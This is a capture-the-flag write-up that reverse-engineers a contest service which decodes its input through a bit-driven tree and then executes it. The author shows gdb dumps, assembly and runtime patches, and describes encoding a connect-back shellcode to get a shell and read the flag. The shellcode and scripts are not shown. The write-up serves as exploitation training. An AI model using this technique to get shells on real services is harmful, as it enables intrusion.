Who hath lived like hacker’s life and refused the normalness must be rewarded with straw, sticks and bricks.
In this challenge we need to connect to a service at
byhd_147e0accdae13428910e909704b21b11.2014.shallweplayaga.me:9730. The binary file is given here
The main handler function is at
0x401a15 which could be described by this pseudo code:
Basically the service allows client to send up to 255 bytes as raw input, then transforms it by the function at
0x40185a before executing it. So what we could do is to send a
input_buffer that makes
transformed_input_buffer a valid shellcode.
We don't need to understand what it does in
sub_402233 as their inputs are all derrived from the content of the running binary (which is static), that means the output is static regardless of our input. We will try to grab it later on.
We use Hopper to decompile the function at
0x40185a that receives our original input and transform it. Hopper doesn't do well with looping so we have to touch up the code a bit, the final code looks like:
We see that it keeps getting new bytes by calling
sub_40127c and append them to
output_buffer until that function returns
0xffffffff. We continue reversing
So it looks that the function initializes the pointer
current_address pointing to
new_buffer_2 then loops through every bit of
input_buffer and change the
current_address to either
*(current_address + 0x8) depends on whether the current bit of
input_buffer is 0 or 1 respectively. The process stops when value of
current_address is 0 and function returns
*(current_address + 0x10)
For instance, if the bit stream of
current_address would jump as:
1 0 0 1 current_address -> *(current_address) -> *(current_address) -> *(current_address + 8 ) -> ... -> final_address // it stops somewhere when *(final_address) == 0
So we could start from the address of
new_buffer_2, then recursively jump to
*(new_buffer_2 + 8) and
*new_buffer_2 and so on to get all the cases that might happen in that function (ie. get all the outputs and their corresponding bit streams)
Since the output also depends on
new_buffer_2, we need to grab its content. Taking a closer look at the assembly code where
sub_40127c is called:
0x0000000000401912: mov -0x38(%rbp),%rax 0x0000000000401916: mov %rdx,%rsi 0x0000000000401919: mov %rax,%rdi 0x000000000040191c: callq 0x40127c 0x0000000000401921: mov %eax,-0x2c(%rbp) 0x0000000000401924: cmpl $0xffffffff,-0x2c(%rbp) 0x0000000000401928: je 0x401a02
We set the breakpoint at
0x40191c (right before
sub_40127c is called):
# gdb ./byhd_147e0accdae13428910e909704b21b11 (gdb) set scheduler-locking step (gdb) br *0x40191c (gdb) r
Then write a simple Python code to generate some random payload:
gdb now stops at our breakpoint and we start dumping the memory. We simply grab everything readable in the memory just to be safe, in this case we read from
(gdb) x/143360 0x603000 0x603000: 0x08070c1b 0x10070190 0x00000014 0x0000001c 0x603010: 0xffffe180 0x0000002a 0x00000000 0x00000000 0x603020: 0x00000014 0x00000000 0x00527a01 0x01107801 0x603030: 0x08070c1b 0x00000190 0x00000024 0x0000001c .....
Also get the address of
(gdb) info registers rdi rdi 0x603000 6303744
So we got the content of memory and the starting point now, this Python code helps to generate the case tree:
A bit explanation on that Python code, after everything is done:
- If we have
before[an_address] == another_address, that says in order to reach
another_addressthe function needs to jump to
- We also have
before[a_character] == addressthat indicates the function needs to jump to
With that data we could trace back the bit stream for any character by starting from
For example with character 'H', we got the steps:
0x60e1e0 -> address = *(address + 8) -> 1 0x60e1b0 -> address = *(address + 8) -> 1 0x60e180 -> address = *(address) -> 0 0x60e0f0 -> address = *(address + 8) -> 1 0x60e000 -> address = *(address) -> 0 0x608fc0 -> 'H'
So we need 5 bits '11010' from raw_input to get 'H' in final output.
We extend that Python code a bit to build the input from the shellcode, in this case we use a connect-back shellcode (Thanks @manhluat93 for this awesome shellcode).
And we got the output:
Try to send this to the real service:
Since it's a connect-back shell, we got a shell from our server and simply read the flag
cat flag The flag is: What a cold ass gershnoskel.
- The binary requires user
byhdto exist in the system so we need to create a new system user before running the binary on our box. I had to run it as
roototherwise some of the initialization functions would fail.
It was hard to debug the resulting shellcode as we have to set the break point and examine the memory from time to time. So I had an idea to change the binary so that it could send back the final output to client. It's obviously not possible to patch the binary as its content is one of the factor to generate the final shellcode.
I came up with the following gdb commands to patch the instructions at runtime:
# gdb ./byhd_147e0accdae13428910e909704b21b11 (gdb) br *0x4011ad # Make it stop at entry point (gdb) r Starting program: /tmp/byhd_147e0accdae13428910e909704b21b11 [Thread debugging using libthread_db enabled] Breakpoint 1, 0x00000000004011ad in ?? () (gdb) set *(unsigned char*)0x401c56=0x74 (gdb) set *(unsigned char*)0x401c6c=0xff (gdb) set *(unsigned char*)0x401c64=0x48 (gdb) set *(unsigned char*)0x401c65=0x8b (gdb) set *(unsigned char*)0x401c66=0x4d (gdb) set *(unsigned char*)0x401c67=0xe8 (gdb) c
What it does is to change the following assembly code:
0x0000000000401c52: cmpl $0x0,-0x28(%rbp) # This is to check if mmap was called succesfully or not. 0x0000000000401c56: jne 0x401c86 # Jump if success 0x0000000000401c58: mov -0x18(%rbp),%rax 0x0000000000401c5c: mov %rax,%rdi 0x0000000000401c5f: callq 0x400eb0 <free@plt> 0x0000000000401c64: lea -0x4c(%rbp),%rcx # Assign the address of some buffer to be sent back 0x0000000000401c68: mov -0x54(%rbp),%eax 0x0000000000401c6b: mov $0xff,%edx 0x0000000000401c70: mov %rcx,%rsi 0x0000000000401c73: mov %eax,%edi 0x0000000000401c75: callq 0x400ef0 <write@plt> # Write buffer to socket
0x0000000000401c52: cmpl $0x0,-0x28(%rbp) 0x0000000000401c56: je 0x401c86 # Don't jump if success 0x0000000000401c58: mov -0x18(%rbp),%rax 0x0000000000401c5c: mov %rax,%rdi 0x0000000000401c5f: callq 0x400eb0 <free@plt> 0x0000000000401c64: mov -0x18(%rbp),%rcx # I assign the address of final shellcode here 0x0000000000401c68: mov -0x54(%rbp),%eax 0x0000000000401c6b: mov $0xff,%edx 0x0000000000401c70: mov %rcx,%rsi 0x0000000000401c73: mov %eax,%edi 0x0000000000401c75: callq 0x400ef0 <write@plt>
After that's done we always get back our final shellcode every time we send a raw input which is really convenient for debugging.